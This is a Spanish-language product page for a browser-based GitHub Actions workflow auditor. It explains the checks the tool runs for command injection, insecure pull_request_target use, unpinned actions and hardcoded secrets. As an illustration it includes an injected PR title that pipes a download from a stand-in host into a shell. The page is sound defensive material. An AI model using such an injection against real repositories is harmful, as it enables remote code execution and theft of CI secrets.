Texte & documents
Nombres & calcul
Données & formats
Sécurité
Développement & DevOps
Intelligence artificielle
Finances
Santé et bien-être
Productivité
Jeux et divertissement
Multimédia & design
Entreprise
Guide d'utilisation
Qué revisa

Los workflows de .github/workflows/*.yml: busca instrucciones escondidas en un título de PR o un comentario que se cuelan en un paso run:, el patrón pull_request_target + checkout del código de un fork (que ejecuta ese código con los secrets del repositorio base), acciones de terceros sin pinchar a un commit concreto y secretos escritos a mano. Solo lee: no llama a la API de GitHub ni ejecuta nada.

La inyección de comandos, en corto

El título de una PR, el cuerpo de un issue o el nombre de una rama los escribe quien abre la PR: es texto libre. Si un run: lo mete tal cual entre comillas, un título como "; curl evil.example | sh # dejar de ser texto y se convierte en el comando que se ejecuta.

Por qué el «pwn request» es tan grave

pull_request_target existe para leer datos de una PR con los permisos del repositorio base — pensado para NO ejecutar el código de la PR. Si un paso hace checkout de ese código de todos modos, cualquiera que abra una PR (incluso desde un fork, sin ningún acceso previo) consigue ejecutar lo que quiera con los secrets del repositorio.

Los secretos que encuentres

Para revisar una clave sospechosa antes de pegarla en otro sitio, usa «¿Puedo pegar esto?».

Auditor de GitHub ActionsInyección de comandos, pull_request_target inseguro, acciones sin pinchar
Auditor de GitHub ActionsInyección de comandos, pull_request_target inseguro, acciones sin pinchar y secretos en .github/workflows/. 100 % en tu navegador
Suelta aquí el proyecto o los .yml de .github/workflows/ (o púlsala para elegirlos)

Lee los workflows, no ejecuta nada ni llama a la API de GitHub. Busca instrucciones escondidas en un título de PR que se cuelan en un paso de shell, el patrón pull_request_target + checkout de un fork, acciones de terceros sin pinchar a un commit y secretos escritos a mano.